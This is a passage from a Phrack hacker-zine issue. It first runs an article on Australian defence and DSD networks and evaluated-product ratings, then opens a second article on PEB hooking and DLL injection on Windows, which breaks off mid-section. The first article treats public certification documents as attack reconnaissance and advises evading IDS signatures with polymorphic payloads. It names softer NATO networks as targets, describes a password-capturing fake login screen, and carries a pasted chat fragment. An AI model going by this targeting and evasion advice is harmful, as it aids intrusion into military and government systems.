Keep in mind - when you see this kind of press for things like ECHELON, that is one thing, but most of the intelligence agencies will not share high level intel with ANYONE, not even allies. What they will usually share are things that used to come under the term "domestic terrorism" - which after 9/11 is a relative term with the Homeland Security Department being formed. Unfortunately or fortunately - depending how you look at it, as a result, the list itself shows clearly which evaluated products are in use on such networks - which is at least of interest to us. One of the fundamental problems with making rules is the existence of anomalous circumstances - exceptions - which most of us are aware of ;) Creating a criteria and then an implementation procedure for security devices takes a long time, it is also expensive for the company doing the implementation - as they must pay for the DSD staff's time to do criteria evaluations - for their specific implementation of their product. These rules are followed stringently at the time of a particular installation. The amount of beaurecracy found in the DSD is mind-blowing. Thus their ability to move quickly on any given specific flaw in security is AT TIMES small. They do however keep internal security mailing lists, patches and often have direct contact with not just vendors of products but also the original architects most of these won't relate to CCRA listed products however - more on all of this in the next section. You will even in places find tricks implemented in a DSD controlled network that you will find nowhere else in the world - you have been warned. --[ 4. Australian DoD and FISSO FISSO themselves are a rehash of the old DRN Support Group who maintained the old Defense Restricted Networks for the DoD. FISSO is the new project the Navy is (still) running for the DoD - Keep in mind, the navy has historically been in charge of many signals projects before other branches of armed services have been invited to join or use them - the same I believe is true of the US Navy. (Must be all that morse code). The FISSO Network is a support network for DoD Personel to communicate with each other around the world with low level communications mediums. Which is to say laptops or other small computer systems with modems in order to help officers and other officials to communicate across the globe in a secure manner for departmental purposes. The FISSO Network Support Group has had several contract workers in the DoD to create a network with many quite amazing and intricate network systems. The officers are able to communicate with voice over ip, digital video, whiteboards, conference rooms, text chat and other ways [6]. They can exchange files and communicate over the parts of the network that have been secured by the DSD and the old DRN Group. Aspect Computing currently hold contract with the DoD for FISSO Core Contract and FISSO In-House Contract Payment. Given the amounts in the reports I've read, I'd suggest they're probably just contracting either software or hardware or both to the Navy (my best guess) who would likely only trust DoD or DSD staff to maintain the support centre itself. (It might contract out some positions to suitably DoD security cleared contractors - likely top-secret or better would be required). At present Aspect Computing is being paid approximately $2 million dollars a year for support to FISSO. This would probably be a 3rd tier support network, to be used after both the FISSO Support and KAZ could not fix a particular issue. KAZ Technology Services (Procured by Telstra in 2004) is also a contractor who provides Command and Support Systems for Officers and Logistical Support Systems Integration that is to say that these guys provide all the really nice and interesting comms software that the officers and support/logistical personel use for decision making and chain of command order verification. (Think of them as the Australian version of SAIC). They won a 5 year $200million contract back in 2005 to provide desktop computing to the RAN (Royal Australian Navy). Kaz had maintained a relationship with DOD since its inception in 1988 and is being offered 2 year contract extensions up until 2015. Kaz staff go through rigourous security checks in order to be cleared to work on the FISSO network and they have in the past been helicoptered out to sea in order to complete work in required timeframes. From a KAZ document regarding their FISSO solution: "Behind these capabilities, KAZ high security architecture integrates Lotus Notes R5, Domino, SameTime (including server to server federated architecture), LAN/WANs, MS Windows NT Servers, MS Windows Terminal Servers, Citrix Mataframe Xpe 1.0, Ultra Thin Clients, HP-UX and Hummingbird Exceed. The architecture also draws on TCP/IP, ISDN and modems to connect the Fleet to services across Defence intranets, with the addition of cryptographic black boxes outside each of the on-board servers to maintain military level security. KAZ also integrated SameTime technology to extend the Navy's collaborative capabilities to a Coalition Wide Area Network (COWAN), involving naval systems belonging to Allies such as the United States and United Kingdom." [6] You'll notice KAZ's inference of a Coalition Wide Area Network which I can find no other mention of that particular acronym. It might be either a marketting insertation or something that eludes to more restricted documentation. Either way you have to assume KAZ knows more about it than us and I find it interesting that such a beast is mentioned here. IBM Provide Hardware and Software also to do with Logistical support for the various arms of the DoD. [4] Sun Microsystems are providing Hardware and Software for security based firewalls and other security devices (RFID and biometric authentication device drivers and such). [4] Lotus Notes and Domino are in use widely still to this day - which at first I wasn't sure of but I was in discussion on with a friend and he pointed out the KAZ website - I'd suggest the Navy would be loath to update their systems as often as normal corporates would. Lotus-Domino 5.0.9 i'm surprised that still exists those docs are old probably doesn't exist now but might still u never know, their beaurecracy is amazing sometimes i actually worked with a prime 9950 at one company didn't even run the newer version of cobol ... took up half a room was sitting next to all the AT&T servers funny stuff http://www.kaz-group.com/subscribe yeah, just to keep some legacy code running yeah wow there ya go dude im gonna add that in the article how may i own thee, let us count the ways.. haha --[ 5. An Introduction to the the EPL and CCRA. Let's introduce the criteria themselves'. At the moment the DSD have 2 different tables of criteria the ITSEC system and the CCRA for evaluating products for secure use on Military and Government networks. The DSD (Defence Signals Directorate) is the main body behind secure communications for the Australian Government, ostensibly they take the same role as the NSA does in the US. The EPL (Evaluated Products List) is the list the DSD creates and maintains denoting all products put forward by vendors for assessment by the DSD for use in high level, high security government networks and systems. There are a number of criteria in the DSD which products are assessed for. The CCRA (Common Criteria Recognition Arrangement) is an agreement by NATO nations in the west to rate equipment by a shared standard as well as share past evaluated products at a common rating so that they might interconnect their military and government networks to better control your sorry ass. ;) To allow those poor corporates who have spent lots and lots of dollars on getting their products evaluated, time to re-evaluate them under the new international system, the CCRA (as a body) are going to allow member countries who have used the ITSEC (Information Technology Security Criteria) system (including the USA, UK, Australia) to use ITSEC rated products as CCRA rated products for the timebeing. This basically means the EPL's for all these countries are now turning into the CCRA. They are amalgamating 50 years of "defense" protocols and political maneuvering to be able to dominate more freely. After all it wouldn't be nice to have UK troops in some little out of the way village while the US Navy are ordering cruise missiles to destroy it from 1000 kilometers away - the speedy communications methods and stringent protocols (military protocols) enabled by a communications network like this would allow for these kinds of scenarios to be less of a concern and have a million other benefits. Along with the E1-E6 (ITSEC) and EAL1-EAL7 (CCRA), there is a network designation relating to the secrecy and security needs for the network, as follows: UNCLASSIFIED, IN-CONFIDENCE, RESTRICTED, PROTECTED, National Security/HIGHLY PROTECTED. The Document relates the required security device to be used interconnecting the different networks which I will include here: ************************************************************************* * SRC NETWORK * AND DST NETWORK IS * THEN YOUR GATEWAY REQUIRES * ************************************************************************* * UNCLASSIFIED * - public domain. * a traffic flow filter. * * * - UNCLASSIFIED. * * * * - IN-CONFIDENCE. * * * * - PROTECTED. * * * * - HIGHLY PROTECTED or * * * * National Security. * * ************************************************************************* * IN-CONFIDENCE * - public domain. * an EAL2 Firewall. * * * - UNCLASSIFIED. * * ************************************************************************* * * - IN-CONFIDENCE. * a traffic flow filter. * * * - PROTECTED. * * * * - HIGHLY PROTECTED or * * * * National Security. * * ************************************************************************* * RESTRICTED * - public domain. * an EAL2 Firewall. * * * - UNCLASSIFIED. * * * * - IN-CONFIDENCE. * * ************************************************************************* * * - PROTECTED. * a traffic flow filter. * * * - HIGHLY PROTECTED. * * * * National Security. * * ************************************************************************* * PROTECTED * - public domain. * an EAL4 Firewall. * * * - UNCLASSIFIED. * * ************************************************************************* * * - IN-CONFIDENCE. * an EAL3 Firewall. * * * - RESTRICTED. * * ************************************************************************* * * - PROTECTED. * an EAL2 Firewall. * ************************************************************************* * * - HIGHLY PROTECTED or * an EAL1 Firewall. * * * National Security. * * ************************************************************************* Can you see the interesting parts with regard to our dialups? 2 things I notice right away. If anything HIGHLY PROTECTED or National Security rated are connected to the network we have dialups for - there's only a packet filter in between me and it - if the old DRN network rating hasn't changed. (A restricted network). Also, behind that terminal server, I can probably expect to find myself facing a nice EAL2 rated firewall. As I would assume the PSTN Network is considered "Public Domain". It may even require some kind of secure-ID type authentication - a one time pad or smartcard. This would be a theoretical login session given the types of equipment listed on the EPL and what they are used for. The network topology could easily include remote identification servers. The terminal server itself can instigate PPP with a client, pass you through to the Cisco VPN 3000 Concentrator(EAL2), you authenticate there via key and it directs you to where you're trying to go, when you get there you have a Sun Firewall-1 (EAL4+) asking for your SecureID one time PAD or similar product. Once you do that, you can check your email, download your porn, whatever. Also the other interesting thing to note - EAL1 rated firewalls are only going to be found on PROTECTED, HIGHLY PROTECTED or National Security networks and only where they interconnect with others of the same security rating. If you find one one of those firewalls - you know the importance of the networks you're on. Now down to the exact security designations for the products: EAL1 - Functionally Tested. Provides analysis of the security functions, using a functional and interface specification of the TOE (target of evaluation), to understand the security behaviour. The analysis is supported by independent testing of the security functions. EAL2 - Structurally Tested. Anaysis of the security functions using a functional and interface specification and the high level design of the subsystems of the TOE. Independent testing of the security functions, evidence of developer "black box" testing, and evidence of a development search for obvious vulnerabilities. EAL3 - Methodically Tested and Checked. The analysis is supported by "grey box" testing, selective independent confirmation of the developer test results, and evidence of a developer search for obvious vulnerabilities. Development environment controls and TOE configuration management are also required. EAL4 - Methodically Designed, Tested and Reviewed. Analysis is supported by the low-level design of the modules of the TOE, and a subset of the implementation. Testing is supported by an independent search for obvious vulnerabilities. Development controls are supported by a life-cycle model, identification of tools, and automated configuration management. EAL5 - Semiformally Designed and Tested. Analysis includes all of the implementation. Assurance is supplemented by a formal model and a semiformal presentation of the functional specification and high level design, and a semiformal demonstration of correspondence. The search for vulnerabilities must ensure relative resistance to penetration attack. Covert channel analysis and modular design are also required. EAL6 - Semiformally Verified Design and Tested. Analysis is supported by a modular and layered approach to design, and a structured presentation of the implementation. The independent search for vulnerabilities must ensure high resistance to penetration attack. The search for covert channels must be systematic. Development environment and configuration management controls are further strengthened. EAL7 - Formally Verified Design and Tested. The formal model is supplemented by a formal presentation of the functional specification and high level design showing correspondence. Evidence of developer "white box" testing and complete independent confirmation of developer test results are required. Complexity of the design must be minimised. Note: Only assurance levels 1-4 are incorporated in the CCRA currently, and ratings of products which fit criteria above level 4 in Australia, are designated 4+ on the EPL. Here I'll give a few examples of ratings from random catagories. (The EPL is split up into various network devices and then the larger part of network security products). Biometric Products EAL2 - Iridian Technologies KnoWho Authentication Server and Private ID Miscellaneous Devices E1 - NEC S2 (Mobile Satellite Terminal) EAL1 - Cisco VoIP Telephony Solution Network Security Devices EAL1 - Secure Session VPN v4.1.1 EAL2 - SurfControl Email filter for SMTP EAL4 - Clearswift Bastion II Firewall EAL4+ - Cisco Secure PIX Firewall V7.0(6) Operating Systems E3 - AIX V4.3 EAL4+ - Sun Trusted Solaris 8/04 EAL4+ - Windows 2000 Professional, Server and Advanced Server with SP3 and Q326886 Hotfix *cough*bullshit*cough* There are also smartcard products, PC Security products, encryption products, and many other catagories. More in-depth information can be found on the website itself regarding each product. --[ 6. The EPL and CCRA in depth During 1998 The United Kingdom, France, Germany, The United States and Canada put in place the CCRA. Australia joined in 1999. It should be noted here also that under the member countries list (with contact details) under the DSD website, Japan, South Korea, Netherlands and Norway have also joined the CCRA recently. This Criteria is for use between the countries in any kinds of shared network arrangements - this process is called "Mutual Recognition". The philosophy behind this is that overseas products rated by the DSD, NSA and various other organisations can be used in other member countries without being re-evaluated as the criteria is the same. Although it may be noted that (at least in Australia) the DSD does provide exceptions for any kind of cryptographic equipment which it may need to give particular evaluation to. (I wonder if this is a security concern or more to do with compatibility). Also available is the ACSI33 Network Security Manual - Public Domain Copy [1] - this is much like the old DoD Orange Book in the US. This manual defines many of the Australian DoD Network security standards and criteria prerequisites for many of the supplicants of DSD/DoD approval for the Evaluated Products List (EPL). If you check the EPL itself, you'll find criteria certification reports and security target papers, defining how the product was certified, possible weaknesses in the product, how the product should be used in the DoD and all the contact details any given DoD department should need to buy such a product or get information on it. You have the shopping list for exploits, contact information for social engineering, a detailed outline of what to worry about once you'd attacked a DoD network point and how to hide yourself from IDS - you have the list of what IDS are used, and can download the IDS signature recognition files and run those through something like IDA Pro disassembler. Then modify your code/payload to no longer alert the IDS software, use of polymorphic payload would be a good technique to use for this once you know the triggering pattern. Since the old days of hacking into .mil's on the old milnet (the cold-war ip network of the USA which was used both for research and development) of the early 90's lots of things happened. Lots of busts and a lot of talk of securing the governments of the western world. And they are not the only ones. Since the early 90's we've seen a huge amount of digest on changes to computer related laws worldwide in relation to this particular agenda in places like Russia, China and North Korea. There is more than enough information in these documents to set up an elaborate network attack, when the various military organisations will be more reliant than ever on these networks for command and control, logistics and communications. More interesting is the fact that on the UK EPL and the US EPL they also list the same products with the same rating - even though some of them have been independantly assessed (haha), further pushing the point that these networks are now at least slightly interoperable or at least becoming so over time. The scarey part is that it's connected to the largest military body in the world. The US DoD, who have run SIPRN for many years, since they re-built the early milnet after the cold-war. The network there being able to at least speak to the Australian network and be restricted by guidelines of Mutual Recognition as set down by the new standards in the CCRA must of course adhere to the same standards, and can be recognised by the EAL designation on the Australian and UK EPLs. Theory: Latest exploits - or even old ones - could still work to this day on many of the systems because of the way the EPL is implemented. Companies must pay to become a part of the EPL. It can cost upward of $1,000,000 AUD to get a product certified sufficiently. From the companies point of view - the more they pay, the better their market share is, because the further up the EPL rating they go - by taking more time through evaluation - which costs more to get evaluated for, they find less companies are willing to pay for the evaluation. This directly impacts sales because the more secure a network is rated internally by the DSD the less choice any given department has for the products to secure it. Pretty much the DSD/NSA etc. will give you a license to print money - as long as you pay THEM first. Here's one recent example of the whole deal going wrong which has come out in the press as I wrote this article [7]. I find it interesting that even the most educated security consultants aren't really that aware of the way the intelligence community is functioning when it comes to the CCRA/EPL equipment. Their mention of "Pentest expresses doubts about whether the certification of the firewall according to Common Criteria EAL4+ is merited on the basis of the flaws it unearthed." amuses me. Fact is, once a particular IMPLEMENTATION of a product is evaluated, it doesn't change. It won't be "Regularly Patched" or even "Regularly Evaluated", any changes whatsoever made to the implementation make it non-standard and no longer adhering to the criteria it was evaluated for originally - that's the point of evaluation - as far as the DSD/NSA are concerned. You are almost back at the old NASA addage back when the space race was on and they would joke that the Russians had their best minds and parts going into their project while the US spacecraft was 10,000 moving parts, all built by the lowest bidder run by a group of people chosen on their ability to kiss ass. This is the basic problem with beaurecracy in the western military. Beaurecrats are always trying to justify their existence, they do so by telling everyone what they are doing and companies involved want to say "hey look what we did for the DoD". On with our look at the pretty secure network: Without actually breaking in, we can't know if you can break into the american network from the Australian side, or any other side, however, the previous designations with regard to PROTECTED networks connecting to National Security Networks could tell us that we might be able to easily. I suggest that no matter what the CCRA will tell countries to do, their own internal DSD, NSA, DoD computer departments will require some heavy security between coalition members. But this is only an assumption on my part, I wouldn't put it past the various department heads to cut costs here - it happens. I find it amusing that in none of the above departments or EPL's does NSA SELinux get a mention ;) (Probably just someone's pet project). One assumption you'd have to make is the network wouldn't be fast out of the country you're in. Ground based satellite transponders are bound to be slow, ship based ones even slower. Network coverage of combat areas is going to be pretty nasty for data - especially if you are on a dialup line. But they are there. Recent Satellite scans show a large number of S and X band non-commercial satellite beacons (which show working transponders in space) and data/analog signals which are encrypted as no in-band scans return any valid output at all (you can see the bandwidth is being used however). I dont have a lot of information about the SIPR Network, not being in the U.S (hopefully it will not be long before someone writes another article on it). But from the DISA website: SIPRNet: The Secret IP Router Network (SIPRNet) is DoDs largest interoperable command and control data network, supporting the Global Command and Control System (GCCS), the Defense Message System (DMS), collaborative planning and numerous other classified warfighter applications. (Note: I suggest warfighter applications means training programs). Direct connection data rates range from 56 kbps to 155Mbps. Remote dial-up services are available up to 19.2kbps. The data rates there are interesting, meaning they also have dialup and ATM links available possibly faster is now available as that page hasn't been updated since the mid 90's. --[ 7. Other Standards The only other standards I've found that are worthy of note for this particular paper are the encryption standards. These are also noted in the acsi33 document fully. The usage of 3DES and AES for symmetrical encryption and RSA/DH/DSA/Elliptic Curve Diffie-Hellman (ECDH)/Elliptic Curve Digital Signature Algorithm (ECDSA) for asymmetric (key exchanges). Encryption is not my strong point, however it should be noted the CCRA members defer to NIST with regard to most of their encryption standards. Fact is I am quoting almost directly from the acsi33 document here, the only encrypted VPNs I ever set up for these companies I worked for were Cisco IOS 3des algorithms. --[ 8. Secrets At the end of the cold war, there were probably a few hundred thousand computers hooked up to the internet. Almost every country on earth had SOMETHING hooked up. The R&D departments of universities in Australia was where I got my internet access from and developed contacts in the hacker scene of the time. At that time China and the USSR were both large threats to western dominance, however I find it interesting to note that all of the member countries of both of these power blocks were internet connected at the time the cold war was in full force. The US DoD or DARPA has still never actually disclosed any given project to do with engineering or humanities that the internet actually facilitates apart from communication. One has to wonder about the significance of the storm worm and other such virii, their ability to act as an autonomous strike against non-military, but more a regional strike against economic infrastructure. The foreseen assumption of any given biological, nuclear or widespread terrorist attack would be that that economic infrastructure would disolve before military infrastructure. After having written this article, I'm not entirely sure that is a valid assumption... --[ 9. Conclusion Much as I would like to write more about the networks in other nations (Japan and France would be nice to find out about), I don't really have the time to wardial or do research for so many networks in so many countries. It will have to come at a later date by other writers. But keep in mind, the USA spend the most on industrial military and mainstream military projects in the world just by matter of overall odds for breaking in and not being discovered, they are probably your least favourable target. As the network seems to now be interconnected with other NATO nations, one of the nations spending less on it might be give better outcomes. The standards are the same across the board anyhow, most of this information will still be good as long as you are in, or looking at a network in one of these member nations. I think many people in the various military departments across the world who are member organisations for this particular network should be quite embarassed by this information being so easy to get. Security through obscurity is another oldschool technique which seems to have gone the way of the steam train - even by those who should be most concerned with obscuring and securing their data. Any hacker who has been around for any decent length of time can tell you there is a way around any system - if you added the extra advantage of having many men who are ready and willing to come to your country and "kick the door down" to procure some of this information, the people responsible for this should be concerned. If we can glean all of this from the "public domain" security level, imagine just having some access to documentation from the IN-CONFIDENCE network computer. In my own experience in working for the Australian DSD through contractors, I found many times that their network data security was very dependant upon one or two applications that were bought from outside organisations - poorly implemented and only very rudimentary security precautions taken. Even the fact that I worked there - even with a previous criminal record to do with gaining access to commonwealth systems, inserting data in commonwealth systems, and defrauding the credit card system - was a security breach. One of the first computers I ever broke into was done via a COBOL packet snarfer. I re-wrote all of the screens to all of the computers the terminal servers would connect to. Then from an account I looked over someone's shoulder to get, I ran up the snarfer and it would look as if I had logged out. I hadn't, in fact the program was running and looked like the login screen. When you typed in your username/password pair, it gave the usual "Password Authorisation Failure" or other error message (depending on where you were logging in) and it logged it to a file in another account - which had the file permissions opened on it so other accounts could write to its' directory. The program then logged itself out - giving the user the normal login screen. Completely unseen by them, and they merely thought they had typed the wrong password. 8 Years later I was working for this particular contractor to the DSD, I found myself sitting in Air Force bases, Navy Logistics Centres, as well as many high-end government and corporate computer security departments. Physical security was not an issue - even though, if propper background checks had been done on me - I would not have been allowed to be there. Iin the past few months I've seen various talk in the press about botnets, attack vectors from unknown sources and the dreaded "black hat" hackers. The latest laugh I had was the stats from google saying that more unix boxes had been compromised than windows boxes and the reporter couldn't understand why unix was considered more secure than windows. They didn't and don't to this day understand WHY *nix and open source are more secure - I am not going to educate people here. Creating an aire of "hype" or complacency in any security environment is completely unconstructive, use of "known factors" through use of friends and other associates is likewise unconstructive. The reasons for this are simple and are defined indeed by one of the latest press releases from the whitehouse. "On the last day, we won't be lost because of a lack of strength or a lack of equipment. We'll be lost because of a lack of trust." --[ 10. Annex Acronyms: --------- [i] RAN - Royal Australian Navy [ii] FISSO - Fleet Information System Support Organisation. [iii] DSD - Defence Signals Directorate. [iv] DoD - Department of Defence. [v] DRN - Defence Restricted Network. [vi] NSA - National Security Agency (USA). [vii] SIPRN - Secret IP Router Network (US DoD). Resources: ----------- [1] http://www.dsd.gov.au/library/infosec/acsi33.html [2] http://www.cesg.gov.uk/site/iacs/index.cfm? menuSelected=1&displayPage=151 [3] http://www.defence.gov.au/dmo/id/cic_contracts/Values2001-2002.pdf [4] http://www.yaffa.com.au/defence/pdf/05/top40-20-2004.pdf [5] http://www.disa.mil/main/prodsol/data.html [6] http://www.kaz-group.com/files/casestudies/cs_ran.pdf [7] http://www.theregister.co.uk/2007/10/03/check_point_pentest/ [8] http://www.softwink.com/iwar/ [9] http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi? searchvalue=thefinn&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0 ==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x0a of 0x0f |=-----------------------------------------------------------------------=| |=---------------------=[ phook - The PEB Hooker ]=----------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ [Shearer] - eunimedesAThotmail.com ]=---------------=| |=----------------=[ Dreg - DregATfr33project.org ]=---------------=| |=-----------------------------------------------------------------------=| |=--=[ http://www.fr33project.org / Mirror: http://www.disidents.com ]=--=| |=-----------------------------------------------------------------------=| |=-------------------------=[ October 15 2007 ]=-------------------------=| |=-----------------------------------------------------------------------=| ------[ Index 0.- Foreword 1.- Introduction 2.- Previous concepts 2.1 - Process Environment Block 2.1.1 - LoaderData 2.2 - Import Address Table 2.2.1 - Load of the Import Address Table 2.3 - Starting a process in suspended state 2.4 - Injection of a DLL in a process 2.5 - Hooks in ring3 2.5.1 - Problems 3.- Design 3.1 - Fore steps to PEB HOOKING 3.2 - Exchange of data in LoaderData 3.3 - Dynamic load of modules 3.4 - Repairing the IAT 3.5 - Starting execution 3.6 - The APIs that work with modules 3.7 - A new concept: DLL MINIFILTER 3.8 - Frequent Problems 4.- phook 4.1 - InjectorDLL 4.2 - Console Control 4.3 - CreateExp 4.3.1 - Forwarder DLL 4.4 - ph_ker32.dll 4.4.1 - Stack problems 4.4.2 - Registry problems 4.4.3 - The JMP macro 4.4.4 - Versions 4.5 - Using phook 4.5.1 - DLL MINIFILTER 4.6 - Frequent Problems 5.- TODO 6.- Testing 7.- Advantages and possibilities 8.- Conclusion 9.- Acknowledgements 10.- Related Works 11.- References 12.- Source Code ------[ 0.- Foreword Nomenclatures: .- [T.Index]: related works (section 10). .- [R.Index]: references (section 11). Index is the identificator of the nomenclatures. To understand the document it is needed to have knowledge in win32 about: - Types of executables: - PE32 [R.3]: DLLs, EXE... - Programming: - Use of APIs [R.20]: LoadLibrary, GetModuleHandle ... - Hooks [R.10] [R.8] [...] - Win32 ASM [R.21]. Two terms will be used along all the document: 1.- DLL_FAKE: DLL that will supplant a legitim DLL (DLL_REAL). 2.- DLL_REAL: DLL that will be supplanted by DLL_FAKE. Unless stated otherwise, hook/s will always refer to hook/s in win32. ------[ 1.- Introduction Hooks in win32 are commonly used to do reverse engineering, the most common motivations are the analisys of malware and packers, software protection systems. Hooks are also used to monitorize parts of a software: access to files, sockets, registry modification... The actual methods to realize hooks in ring3 (see section 2.5) has different problems (see section 2.5.1). The most important problem for us was that some software can detect them. There are software protection systems that are able to alter the flow of execution when they detect some kind of unknown hook, even the most sophisticated are able to eliminate some types of hooks and continue the normal flow of execution. Another problem comes while atempting to realize a hook in the virus that tracks API's addresses in memory, disabling some types of hooks like IAT HOOKING (see section 2.5). There are software protection systems that use some technics of virus and viceversa. Due to these problems we have created phook, which uses a few documented method to realize hooks in ring3 and it even makes some virus techniques to use our hook. This document explains how phook works and the PEB HOOKING [T.1] method. phook is a tool that uses PEB HOOKING [T.1] to realize a hook of a DLL, it also allows to realize other tasks interactively: - List loaded modules. - Load a DLL. - Download a DLL. - ... The PEB HOOKING [T.1] method consists in supplanting a DLL_REAL in memory by a DLL_FAKE, so all modules of a process that use DLL_REAL now will use DLL_FAKE. ------[ 2 - Previous concepts To understand the PEB HOOKING [T.1] method and how phook works, it is needed to have clear understanding of some concepts: ------[ 2.1 - Process Environment Block Process Environment Block (PEB) is a structure [R.1] located in the user's space, that contains the process' enviroment data [R.2]: - Enviroment variables. - Loaded modules list. - Addresses in memory of the Heap. - If the process is being depurated. - ... ------[ CODE typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PPEBLOCKROUTINE FastPebLockRoutine; PPEBLOCKROUTINE FastPebUnlockRoutine; ... } PEB, *PPEB; ------[ END CODE To realize PEB HOOKING it is needed to use the field LoaderData [T.1]. ------[ 2.1.1 - LoaderData It is a structure [R.1] in which there are some data about the modules of a process. It is a doubly linked list and it can be sorted by three criteria [R.2]: 1.- Order of loading 2.- Order in memory 3.- Order of initialization ------[ CODE typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; ------[ END CODE All flink and blink fields in LIST_ENTRY are in reality pointers to LDR_MODULE. ------[ CODE typedef struct _LIST_ENTRY { struct _LIST_ENTRY * Flink; struct _LIST_ENTRY * Blink; } LIST_ENTRY,*PLIST_ENTRY; ------[ END CODE The data that we are going to manipulate from LDR_MODULE to realize PEB HOOKING are [T.1]: - BaseAddress: The base of the module in memory. - EntryPoint : Address where the module's first instruction to be executed can be found. - SizeOfImage: Size of the module in memory. ------[ CODE typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; ------[ END CODE ------[ 2.2 - Import Address Table Import Address Table (IAT) is a table that the PE32 [R.3] have, which fills the win32 loader when a module [R.4] is loaded and also on late loading using stub at IAT. External symbols that need a module are called importations, the symbols that a module provide to other modules are called exportations. In the IAT [R.3] of a module there are the addresses of its importations, that is, in the IAT [R.3] of a module there are the addresses of the exportations it uses from other modules. ------[ 2.2.1 - Load of the Import Address Table For the win32 loader to be able to obtain the exportation it needs to know: the module where it is located, the name of the exportation and/or the ordinal [R.3]. The PE32 has a structure called IMAGE_IMPORT_DESCRIPTOR [R.5] where we can highlight the fields: - Name : Name of the module where the exportations are located. - OriginalFirstThunk: Address of the table where the names and/or the ordinals of the exportations that the module imports are located. - FirstThunk : Address of a table, identical to OriginalFirstThunk, where the win32 loader puts the addresses of the importations. ------[ CODE typedef struct _IMAGE_IMPORT_DESCRIPTOR { DWORD OriginalFirstThunk; DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; DWORD FirstThunk; } IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR; ------[ END CODE Each entry of the table of FirstThunk and OriginalFirstThunk has two fields [R.3]: - Hint: if the first 31/63 bits are 0x80000000 it will import only taking account the ordinal, otherwise the name will be used. The bits 15-0 represent the ordinal. - Name: Address where the name of the exportation is located. ------[ CODE typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; BYTE Name[1]; } IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME; ------[ END CODE ------[ 2.3 - Starting a process in suspended state When it is wanted to create a process in suspended state it is necessary to know which type it is [R.6]: - Console - GUI Console type processes can be created with the API CreateProcess and the flag CREATE_SUSPENDED. If GUI type processes are opened with the flag CREATE_SUSPENDED may not work correctly, so they must be created using the APIs: 1.- CreateProcess : Process is created without the flag CREATE_SUSPENDED. 2.- WaitForInputIdle: Correct load of the process [R.6] is waited for. 3.- SuspendThread : The main thread is suspended. ------[ 2.4 - Injection of a DLL in a process To inject a DLL in a process there are many methods [R.7], the most simple is using the APIs: 1.- VirtualAllocEx : To reserve memory in the process. 2.- WriteProcessMemory: To write in the reserved space a code that loads a DLL. 3.- CreateRemoteThread: A thread is created in the process that executes the written code. 4.- VirtualFreeEx : Once the DLL is loaded reserved memory is freed. ------[ 2.5 - Hooks in ring3 There always has been many forms to realize "hooks" in win32, as much in ring3 as in ring0. The problem about working in ring0 lies in that if something fails the OS may become unstable. The most stable method for the OS is to realize the "hook" from ring3. The most known methods are: - IAT HOOKING: Entries in the IAT [R.3] are modified, which puts the loader in win32, so it points to another zone [R.8]. - PUSH + RET: In a code area PUSH DIRECTION and RET are introduced to jump to the desired address. Generally it is needed to pass the control to the original area, having to restore it in a determined moment [R.9]. - SetWindowHook...: With these APIs, a callback may be registered for different events of the system [R.10]. ------[ 2.5.1 - Problems Some problems in the methods to realize hooks in ring3: +-------------------------------------------------------------------------+ | Some Methods | Some problems | +------------------------+------------------------------------------------+ | IAT HOOKING [R.8] | 1.- The IAT [R.3] of all the loaded modules | | | have to be changed. | | | 2.- A module does not need IAT [R.3] to use | | | symbols exported by others. | | | 3.- It is very well known. | | | 4.- Easy to repair. | | | 5.- Can be detectable. | | | 6.- Does not allow full control from the start.| |------------------------+------------------------------------------------| | PUSH + RET [R.9] | 1.- The method is not generic for all the areas| | | of the code. | | | 2.- It is complicated to implement. | | | 3.- Easy to repair. | | | 4.- Can be detectable. | | | 5.- Does not allow full control from the start.| |------------------------+------------------------------------------------| | Other "hooks": | 1.- Does not allow full control. | | SetWindowHook... [R.10]| 2.- Easy to repair. | | | 3.- Can be detectable. | |------------------------+------------------------------------------------| | PEB HOOKING [T.1] | 1.- It is complicated to implement. | | | 2.- The original DLL and the injected have to | | | export the same symbols in the same order | | | (at least). | | | 3.- Can be detectable. | | | 4.- Does not allow full control from the start.| +------------------------+------------------------------------------------+ Note: This table only represents the opinion of the authors. Calls from ring3 to ring0 using SYSENTER cannot be controlled by means of the previous methods only. A system call from ring3 can be realized with SYSENTER [R.11] without happening through any DLL, of such way that the previous methods are made unusable in this pretty rare situation. Due to the previous problems, we have decided to use PEB HOOKING [T.1] to create a engine that realizes more than "hooks": phook - The PEB Hooker. Note: The advantages and possibilities of PEB HOOKING [T.1] are explained in section 7. ------[ 3.- Design In this section it will be spoken of the base design to realize PEB HOOKING [T.1] successfully. The implementation is not complicated when it is understood why each thing is done. The steps: 1.- Load DLL_FAKE and DLL_REAL. 2.- In the list that uses the loader in win32, in which all the loaded modules in this moment are located, it has to exchange many fields between DLL_FAKE and DLL_REAL. 3.- It is necessary that the IATs [R.3] of all the loaded modules, except DLL_REAL and maybe DLL_FAKE point to the functions that the DLL_FAKE exports. ------[ 3.1 - Fore steps to PEB HOOKING It is necessary before anything to load a DLL_FAKE into the memory of the process, to which it is wanted to realize PEB HOOKING [T.1]. The DLL_FAKE must have at least the same exportations and the same order of DLL_REAL. ------[ 3.2 - 